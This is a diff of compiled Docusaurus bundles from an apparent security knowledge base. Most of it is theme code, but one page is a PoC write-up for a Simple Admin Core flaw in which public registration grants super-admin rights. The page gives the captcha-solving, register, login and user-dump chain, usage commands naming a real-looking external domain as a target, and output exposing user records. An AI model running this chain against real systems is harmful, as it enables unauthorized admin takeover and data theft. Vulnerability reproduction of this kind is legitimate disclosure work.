\u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406"},"next":{"title":"10.1 \u56fe\u50cf\u5206\u7c7b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b"}}');var s=n(74848),l=n(28453);const i={},c="\u7b2c\u5341\u7ae0",d={},o=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u5341\u7ae0",children:"\u7b2c\u5341\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:40"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u5341\u7ae0\u5e38\u89c1\u4ee3\u7801\u89e3\u8bfb",children:"\u7b2c\u5341\u7ae0\uff1a\u5e38\u89c1\u4ee3\u7801\u89e3\u8bfb"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n10.1 \u56fe\u50cf\u5206\u7c7b\n10.2 \u76ee\u6807\u68c0\u6d4b\n10.3 \u56fe\u50cf\u5206\u5272\nResNet\u6e90\u7801\u89e3\u8bfb\nRNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0\nLSTM\u89e3\u8bfb\u53ca\u5b9e\u6218\nTransformer \u89e3\u8bfb\nViT\u89e3\u8bfb\nSwin-Transformer\u89e3\u8bfb\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/12bdce0e.0fe329b9.js b/en/assets/js/12bdce0e.0fe329b9.js new file mode 100644 index 0000000..c7469c6 --- /dev/null +++ b/en/assets/js/12bdce0e.0fe329b9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9197],{28453:(e,n,t)=>{t.d(n,{R:()=>i,x:()=>c});var s=t(96540);const d={},r=s.createContext(d);function i(e){const n=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(d):e.components||d:i(e.components),s.createElement(r.Provider,{value:n},e.children)}},93899:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>l,contentTitle:()=>c,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458","title":"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/06.Simple Admin/01.\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/01.\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/06.Simple Admin/01.\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/06.Simple Admin/01.\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/01.\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7985\u9053 action.ajaxGetList \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 /flag WP","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp"},"next":{"title":"\u7528\u53cb YonBIP NCSysBrokerServlet \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u6df1\u5ea6\u5206\u6790","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)"}}');var d=t(74848),r=t(28453);const i={},c="\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC",l={},o=[{value:"\u6587\u4ef6",id:"\u6587\u4ef6",level:2},{value:"\u4f7f\u7528",id:"\u4f7f\u7528",level:2},{value:"\u653b\u51fb\u94fe",id:"\u653b\u51fb\u94fe",level:2},{value:"\u5b9e\u6d4b\u7ed3\u679c\uff082026-08-28\uff0c\u672c\u5730\u6388\u6743\u73af\u5883\uff09",id:"\u5b9e\u6d4b\u7ed3\u679c2026-08-28\u672c\u5730\u6388\u6743\u73af\u5883",level:2}];function h(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(n.header,{children:(0,d.jsx)(n.h1,{id:"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458--poc",children:"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(n.table,{children:[(0,d.jsx)(n.thead,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(n.tbody,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{style:{textAlign:"left"},children:(0,d.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"2026-08-29 00:22:46"})]})})]}),"\n",(0,d.jsxs)(n.p,{children:["Simple Admin Core \u516c\u5f00\u6ce8\u518c\u63a5\u53e3 ",(0,d.jsx)(n.code,{children:"/user/register"})," \u65e0\u4efb\u4f55\u9274\u6743/\u98ce\u63a7\uff0c\u6ce8\u518c\u5373\u7ed1\u5b9a\u914d\u7f6e\u9879\n",(0,d.jsx)(n.code,{children:"ProjectConf.DefaultRoleId"}),"\uff08\u9ed8\u8ba4 ",(0,d.jsx)(n.strong,{children:"1"}),"\uff09\u5bf9\u5e94\u89d2\u8272\uff1b\u521d\u59cb\u5316\u6570\u636e\u4e2d\u89d2\u8272 1 = ",(0,d.jsx)(n.code,{children:"role.admin"}),"\n\uff08code ",(0,d.jsx)(n.code,{children:"001"}),"\uff0c\u8d85\u7ea7\u7ba1\u7406\u5458\uff09\uff0c\u4e14\u88ab\u521d\u59cb\u5316 Casbin \u7b56\u7565\u6388\u4e88\u5168\u90e8 API \u8def\u5f84\u6743\u9650\u3002\n\u653b\u51fb\u8005\u4ec5\u9700\u7528 ",(0,d.jsx)(n.strong,{children:"ddddocr"})," \u81ea\u52a8\u8bc6\u522b 5 \u4f4d\u56fe\u5f62\u9a8c\u8bc1\u7801\u5373\u53ef\u6ce8\u518c\u8d85\u7ea7\u7ba1\u7406\u5458\u8d26\u53f7\u3002"]}),"\n",(0,d.jsx)(n.h2,{id:"\u6587\u4ef6",children:"\u6587\u4ef6"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(n.table,{children:[(0,d.jsx)(n.thead,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.th,{children:"\u6587\u4ef6"}),(0,d.jsx)(n.th,{children:"\u8bf4\u660e"})]})}),(0,d.jsxs)(n.tbody,{children:[(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:(0,d.jsx)(n.code,{children:"poc.py"})}),(0,d.jsxs)(n.td,{children:["\u5168\u94fe\u8def PoC\uff1addddocr \u8bc6\u522b\u9a8c\u8bc1\u7801 \u2192 \u6ce8\u518c \u2192 \u767b\u5f55 \u2192 JWT \u53d6\u8bc1 \u2192 \u8c03\u7528 ",(0,d.jsx)(n.code,{children:"/user/list"})," \u83b7\u53d6\u5168\u90e8\u7528\u6237\u8bc1\u660e\uff08\u81ea\u52a8\u5ffd\u7565 TLS \u8bc1\u4e66\u6821\u9a8c\uff09"]})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:(0,d.jsx)(n.code,{children:"requirements.txt"})}),(0,d.jsxs)(n.td,{children:["\u4f9d\u8d56\uff1a",(0,d.jsx)(n.code,{children:"ddddocr requests numpy pillow"})]})]})]})]}),"\n",(0,d.jsx)(n.h2,{id:"\u4f7f\u7528",children:"\u4f7f\u7528"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-bash",children:"pip install -r requirements.txt\n\n# \u9ed8\u8ba4\u76ee\u6807: http://127.0.0.1:5666 (API \u524d\u7f00 /sys-api \u5df2\u5185\u7f6e, \u65e0\u9700\u8ffd\u52a0)\npython3 poc.py\n\n# \u8fdc\u7a0b HTTPS \u76ee\u6807 (\u81ea\u52a8\u5ffd\u7565 TLS \u8bc1\u4e66\u6821\u9a8c)\npython3 poc.py --target https://bbxt.greenelectricity.cn\n\n# \u8d70\u4ee3\u7406 (HTTP/SOCKS)\npython3 poc.py --target https://bbxt.greenelectricity.cn --proxy http://127.0.0.1:7890\n\n# \u6307\u5b9a\u8d26\u53f7\npython3 poc.py --username poc_admin --password 'Test@123456' --email poc@example.com\n"})}),"\n",(0,d.jsx)(n.p,{children:"\u53c2\u6570\u8bf4\u660e\uff1a"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(n.table,{children:[(0,d.jsx)(n.thead,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.th,{children:"\u53c2\u6570"}),(0,d.jsx)(n.th,{children:"\u8bf4\u660e"})]})}),(0,d.jsxs)(n.tbody,{children:[(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:(0,d.jsx)(n.code,{children:"--target"})}),(0,d.jsxs)(n.td,{children:["\u76ee\u6807\u4e3b\u673a\u6839\u5730\u5740\uff08HTTP/HTTPS \u5747\u53ef\uff09\uff0c\u9ed8\u8ba4 ",(0,d.jsx)(n.code,{children:"http://127.0.0.1:5666"}),"\uff1b",(0,d.jsx)(n.code,{children:"/sys-api"})," \u524d\u7f00\u5df2\u5199\u6b7b\u5728\u4ee3\u7801\u4e2d\uff0c",(0,d.jsx)(n.strong,{children:"\u65e0\u9700"}),"\u5728 ",(0,d.jsx)(n.code,{children:"--target"})," \u4e2d\u8ffd\u52a0"]})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{children:(0,d.jsx)(n.code,{children:"--proxy"})}),(0,d.jsxs)(n.td,{children:["\u4ee3\u7406\u5730\u5740\uff0c\u5982 ",(0,d.jsx)(n.code,{children:"http://127.0.0.1:7890"}),"\u3001",(0,d.jsx)(n.code,{children:"socks5://127.0.0.1:1080"})]})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsxs)(n.td,{children:[(0,d.jsx)(n.code,{children:"--username"})," / ",(0,d.jsx)(n.code,{children:"--password"})," / ",(0,d.jsx)(n.code,{children:"--email"})]}),(0,d.jsx)(n.td,{children:"\u6ce8\u518c\u8d26\u53f7\u4fe1\u606f\uff08\u9ed8\u8ba4\u968f\u673a\u7528\u6237\u540d\u4e0e\u90ae\u7bb1\uff09"})]})]})]}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsxs)(n.p,{children:["PoC \u9ed8\u8ba4\u5ffd\u7565 TLS \u8bc1\u4e66\u6821\u9a8c\uff08",(0,d.jsx)(n.code,{children:"verify=False"}),"\uff09\uff0c\u9002\u7528\u4e8e\u8bc1\u4e66\u57df\u540d\u4e0d\u5339\u914d\u7684\u76ee\u6807\u3002\n\u9a8c\u8bc1\u8d26\u53f7\u9ed8\u8ba4\u968f\u673a\u547d\u540d\uff0c\u8bf7\u6d4b\u8bd5\u5b8c\u6210\u540e\u5728\u7cfb\u7edf\u4e2d\u624b\u52a8\u5220\u9664\u3002"]}),"\n"]}),"\n",(0,d.jsx)(n.h2,{id:"\u653b\u51fb\u94fe",children:"\u653b\u51fb\u94fe"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{children:'GET /captcha (\u516c\u5f00) -> captchaId + \u9a8c\u8bc1\u7801\u56fe\u7247 (base64Captcha digit, 5\u4f4d\u6570\u5b57)\nddddocr \u8bc6\u522b\u9a8c\u8bc1\u7801\nPOST /user/register (\u516c\u5f00, \u65e0 JWT) -> \u65b0\u7528\u6237 RoleIds=[1] (role.admin / code 001 / \u8d85\u7ea7\u7ba1\u7406\u5458)\nPOST /user/login (\u516c\u5f00) -> JWT payload: roleId="001"\nPOST /user/list (\u9700 JWT) -> Casbin \u653e\u884c, \u53ef\u83b7\u53d6\u5168\u90e8\u7528\u6237\u6570\u636e, \u8bc1\u660e\u5229\u7528\u6210\u529f\n'})}),"\n",(0,d.jsx)(n.h2,{id:"\u5b9e\u6d4b\u7ed3\u679c2026-08-28\u672c\u5730\u6388\u6743\u73af\u5883",children:"\u5b9e\u6d4b\u7ed3\u679c\uff082026-08-28\uff0c\u672c\u5730\u6388\u6743\u73af\u5883\uff09"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{children:'[+] \u9a8c\u8bc1\u7801\u8bc6\u522b\u6210\u529f captchaId=22bj0Hc7GVF6HnaAxTjb captcha=50765\n[+] \u6ce8\u518c\u6210\u529f: username=poctestlist01 msg=\u6ce8\u518c\u6210\u529f\n[+] \u767b\u5f55\u6210\u529f userId=01a0492d-25ed-73bf-b946-6f7e9f44c413\n[+] JWT payload: {"deptId":1,"exp":...,"iat":...,"roleId":"001","userId":"01a0492d-..."}\n[+] \u7ba1\u7406\u5458\u63a5\u53e3 /user/list \u8bbf\u95ee\u6210\u529f: \u5171 7 \u4e2a\u7528\u6237\n - poctestlist01 (...)\n - admin (id=01a04893-..., email=simple_admin@gmail.com) \u2190 \u7cfb\u7edf\u5185\u7f6e\u8d85\u7ea7\u7ba1\u7406\u5458\n[+] [\u6f0f\u6d1e\u786e\u8ba4] \u533f\u540d\u6ce8\u518c\u7684\u8d26\u53f7\u53ef\u76f4\u63a5\u83b7\u5f97\u8d85\u7ea7\u7ba1\u7406\u5458\u6743\u9650, \u53ef\u83b7\u53d6\u5168\u90e8\u7528\u6237\u6570\u636e\n'})})]})}function a(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,d.jsx)(n,{...e,children:(0,d.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/17896441.8ccd3737.js b/en/assets/js/17896441.8ccd3737.js new file mode 100644 index 0000000..dfa578e --- /dev/null +++ b/en/assets/js/17896441.8ccd3737.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8401],{48093:(e,t,s)=>{s.r(t),s.d(t,{default:()=>ce});var n=s(96540),a=s(45500),i=s(89532),o=s(74848);const l=n.createContext(null);function r({children:e,content:t}){const s=function(e){return(0,n.useMemo)(()=>({metadata:e.metadata,frontMatter:e.frontMatter,assets:e.assets,contentTitle:e.contentTitle,toc:e.toc}),[e])}(t);return(0,o.jsx)(l.Provider,{value:s,children:e})}function c(){const e=(0,n.useContext)(l);if(null===e)throw new i.dV("DocProvider");return e}function d(){const{metadata:e,frontMatter:t,assets:s}=c();return(0,o.jsx)(a.be,{title:e.title,description:e.description,keywords:t.keywords,image:s.image??t.image})}var u=s(34164),m=s(24581),h=s(21312),b=s(28774);function x(e){const{permalink:t,title:s,subLabel:n,isNext:a}=e;return(0,o.jsxs)(b.A,{className:(0,u.A)("pagination-nav__link",a?"pagination-nav__link--next":"pagination-nav__link--prev"),to:t,children:[n&&(0,o.jsx)("div",{className:"pagination-nav__sublabel",children:n}),(0,o.jsx)("div",{className:"pagination-nav__label",children:s})]})}function g(e){const{className:t,previous:s,next:n}=e;return(0,o.jsxs)("nav",{className:(0,u.A)(t,"pagination-nav"),"aria-label":(0,h.T)({id:"theme.docs.paginator.navAriaLabel",message:"Docs pages",description:"The ARIA label for the docs pagination"}),children:[s&&(0,o.jsx)(x,{...s,subLabel:(0,o.jsx)(h.A,{id:"theme.docs.paginator.previous",description:"The label used to navigate to the previous doc",children:"Previous"})}),n&&(0,o.jsx)(x,{...n,subLabel:(0,o.jsx)(h.A,{id:"theme.docs.paginator.next",description:"The label used to navigate to the next doc",children:"Next"}),isNext:!0})]})}function v(){const{metadata:e}=c();return(0,o.jsx)(g,{className:"docusaurus-mt-lg",previous:e.previous,next:e.next})}var p=s(44586),j=s(44070),f=s(17559),_=s(53886),A=s(23025);const N={unreleased:function({siteTitle:e,versionMetadata:t}){return(0,o.jsx)(h.A,{id:"theme.docs.versions.unreleasedVersionLabel",description:"The label used to tell the user that he's browsing an unreleased doc version",values:{siteTitle:e,versionLabel:(0,o.jsx)("b",{children:t.label})},children:"This is unreleased documentation for {siteTitle} {versionLabel} version."})},unmaintained:function({siteTitle:e,versionMetadata:t}){return(0,o.jsx)(h.A,{id:"theme.docs.versions.unmaintainedVersionLabel",description:"The label used to tell the user that he's browsing an unmaintained doc version",values:{siteTitle:e,versionLabel:(0,o.jsx)("b",{children:t.label})},children:"This is documentation for {siteTitle} {versionLabel}, which is no longer actively maintained."})}};function C(e){const t=N[e.versionMetadata.banner];return(0,o.jsx)(t,{...e})}function L({versionLabel:e,to:t,onClick:s}){return(0,o.jsx)(h.A,{id:"theme.docs.versions.latestVersionSuggestionLabel",description:"The label used to tell the user to check the latest version",values:{versionLabel:e,latestVersionLink:(0,o.jsx)("b",{children:(0,o.jsx)(b.A,{to:t,onClick:s,children:(0,o.jsx)(h.A,{id:"theme.docs.versions.latestVersionLinkLabel",description:"The label used for the latest version suggestion link label",children:"latest version"})})})},children:"For up-to-date documentation, see the {latestVersionLink} ({versionLabel})."})}function T({className:e,versionMetadata:t}){const{siteConfig:{title:s}}=(0,p.A)(),{pluginId:n}=(0,j.vT)({failfast:!0}),{savePreferredVersionName:a}=(0,_.g1)(n),{latestDocSuggestion:i,latestVersionSuggestion:l}=(0,j.HW)(n),r=i??(c=l).docs.find(e=>e.id===c.mainDocId);var c;return(0,o.jsxs)("div",{className:(0,u.A)(e,f.G.docs.docVersionBanner,"alert alert--warning margin-bottom--md"),role:"alert",children:[(0,o.jsx)("div",{children:(0,o.jsx)(C,{siteTitle:s,versionMetadata:t})}),(0,o.jsx)("div",{className:"margin-top--md",children:(0,o.jsx)(L,{versionLabel:l.label,to:r.path,onClick:()=>a(l.name)})})]})}function k({className:e}){const t=(0,A.r)();return t.banner?(0,o.jsx)(T,{className:e,versionMetadata:t}):null}function M({className:e}){const t=(0,A.r)();return t.badge?(0,o.jsx)("span",{className:(0,u.A)(e,f.G.docs.docVersionBadge,"badge badge--secondary"),children:(0,o.jsx)(h.A,{id:"theme.docs.versionBadge.label",values:{versionLabel:t.label},children:"Version: {versionLabel}"})}):null}const w={tag:"tag_zVej",tagRegular:"tagRegular_sFm0",tagWithCount:"tagWithCount_h2kH"};function y({permalink:e,label:t,count:s,description:n}){return(0,o.jsxs)(b.A,{rel:"tag",href:e,title:n,className:(0,u.A)(w.tag,s?w.tagWithCount:w.tagRegular),children:[t,s&&(0,o.jsx)("span",{children:s})]})}const B={tags:"tags_jXut",tag:"tag_QGVx"};function I({tags:e}){return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("b",{children:(0,o.jsx)(h.A,{id:"theme.tags.tagsListLabel",description:"The label alongside a tag list",children:"Tags:"})}),(0,o.jsx)("ul",{className:(0,u.A)(B.tags,"padding--none","margin-left--sm"),children:e.map(e=>(0,o.jsx)("li",{className:B.tag,children:(0,o.jsx)(y,{...e})},e.permalink))})]})}var V=s(12153);function H(){const{metadata:e}=c(),{editUrl:t,lastUpdatedAt:s,lastUpdatedBy:n,tags:a}=e,i=a.length>0,l=!!(t||s||n);return i||l?(0,o.jsxs)("footer",{className:(0,u.A)(f.G.docs.docFooter,"docusaurus-mt-lg"),children:[i&&(0,o.jsx)("div",{className:(0,u.A)("row margin-top--sm",f.G.docs.docFooterTagsRow),children:(0,o.jsx)("div",{className:"col",children:(0,o.jsx)(I,{tags:a})})}),l&&(0,o.jsx)(V.A,{className:(0,u.A)("margin-top--sm",f.G.docs.docFooterEditMetaRow),editUrl:t,lastUpdatedAt:s,lastUpdatedBy:n})]}):null}var E=s(41422),G=s(65195);const F={tocCollapsibleButton:"tocCollapsibleButton_TO0P",tocCollapsibleButtonExpanded:"tocCollapsibleButtonExpanded_MG3E"};function R({collapsed:e,...t}){return(0,o.jsx)("button",{type:"button",...t,className:(0,u.A)("clean-btn",F.tocCollapsibleButton,!e&&F.tocCollapsibleButtonExpanded,t.className),children:(0,o.jsx)(h.A,{id:"theme.TOCCollapsible.toggleButtonLabel",description:"The label used by the button on the collapsible TOC component",children:"On this page"})})}const D={tocCollapsible:"tocCollapsible_ETCw",tocCollapsibleContent:"tocCollapsibleContent_vkbj",tocCollapsibleExpanded:"tocCollapsibleExpanded_sAul"};function O({toc:e,className:t,minHeadingLevel:s,maxHeadingLevel:n}){const{collapsed:a,toggleCollapsed:i}=(0,E.u)({initialState:!0});return(0,o.jsxs)("div",{className:(0,u.A)(D.tocCollapsible,!a&&D.tocCollapsibleExpanded,t),children:[(0,o.jsx)(R,{collapsed:a,onClick:i}),(0,o.jsx)(E.N,{lazy:!0,className:D.tocCollapsibleContent,collapsed:a,children:(0,o.jsx)(G.A,{toc:e,minHeadingLevel:s,maxHeadingLevel:n})})]})}const U={tocMobile:"tocMobile_ITEo"};function P(){const{toc:e,frontMatter:t}=c();return(0,o.jsx)(O,{toc:e,minHeadingLevel:t.toc_min_heading_level,maxHeadingLevel:t.toc_max_heading_level,className:(0,u.A)(f.G.docs.docTocMobile,U.tocMobile)})}var S=s(67763);function W(){const{toc:e,frontMatter:t}=c();return(0,o.jsx)(S.A,{toc:e,minHeadingLevel:t.toc_min_heading_level,maxHeadingLevel:t.toc_max_heading_level,className:f.G.docs.docTocDesktop})}var z=s(51107),$=s(2697);function J({children:e}){const t=function(){const{metadata:e,frontMatter:t,contentTitle:s}=c();return t.hide_title||void 0!==s?null:e.title}();return(0,o.jsxs)("div",{className:(0,u.A)(f.G.docs.docMarkdown,"markdown"),children:[t&&(0,o.jsx)("header",{children:(0,o.jsx)(z.A,{as:"h1",children:t})}),(0,o.jsx)($.A,{children:e})]})}var Q=s(44718),X=s(99169),Y=s(86025);function Z(e){return(0,o.jsx)("svg",{viewBox:"0 0 24 24",...e,children:(0,o.jsx)("path",{d:"M10 19v-5h4v5c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-7h1.7c.46 0 .68-.57.33-.87L12.67 3.6c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87H5v7c0 .55.45 1 1 1h3c.55 0 1-.45 1-1z",fill:"currentColor"})})}const q={breadcrumbHomeIcon:"breadcrumbHomeIcon_YNFT"};function K(){const e=(0,Y.Ay)("/");return(0,o.jsx)("li",{className:"breadcrumbs__item",children:(0,o.jsx)(b.A,{"aria-label":(0,h.T)({id:"theme.docs.breadcrumbs.home",message:"Home page",description:"The ARIA label for the home page in the breadcrumbs"}),className:"breadcrumbs__link",href:e,children:(0,o.jsx)(Z,{className:q.breadcrumbHomeIcon})})})}var ee=s(5260);function te(e){const t=function({breadcrumbs:e}){const{siteConfig:t}=(0,p.A)();return{"@context":"https://schema.org","@type":"BreadcrumbList",itemListElement:e.filter(e=>e.href).map((e,s)=>({"@type":"ListItem",position:s+1,name:e.label,item:`${t.url}${e.href}`}))}}({breadcrumbs:e.breadcrumbs});return(0,o.jsx)(ee.A,{children:(0,o.jsx)("script",{type:"application/ld+json",children:JSON.stringify(t)})})}const se={breadcrumbsContainer:"breadcrumbsContainer_Z_bl"};function ne({children:e,href:t,isLast:s}){const n="breadcrumbs__link";return s?(0,o.jsx)("span",{className:n,children:e}):t?(0,o.jsx)(b.A,{className:n,href:t,children:(0,o.jsx)("span",{children:e})}):(0,o.jsx)("span",{className:n,children:e})}function ae({children:e,active:t}){return(0,o.jsx)("li",{className:(0,u.A)("breadcrumbs__item",{"breadcrumbs__item--active":t}),children:e})}function ie(){const e=(0,Q.OF)(),t=(0,X.Dt)();return e?(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(te,{breadcrumbs:e}),(0,o.jsx)("nav",{className:(0,u.A)(f.G.docs.docBreadcrumbs,se.breadcrumbsContainer),"aria-label":(0,h.T)({id:"theme.docs.breadcrumbs.navAriaLabel",message:"Breadcrumbs",description:"The ARIA label for the breadcrumbs"}),children:(0,o.jsxs)("ul",{className:"breadcrumbs",children:[t&&(0,o.jsx)(K,{}),e.map((t,s)=>{const n=s===e.length-1,a="category"===t.type&&t.linkUnlisted?void 0:t.href;return(0,o.jsx)(ae,{active:n,children:(0,o.jsx)(ne,{href:a,isLast:n,children:t.label})},s)})]})})]}):null}var oe=s(86896);const le={docItemContainer:"docItemContainer_Djhp",docItemCol:"docItemCol_VOVn"};function re({children:e}){const t=function(){const{frontMatter:e,toc:t}=c(),s=(0,m.l)(),n=e.hide_table_of_contents,a=!n&&t.length>0;return{hidden:n,mobile:a?(0,o.jsx)(P,{}):void 0,desktop:!a||"desktop"!==s&&"ssr"!==s?void 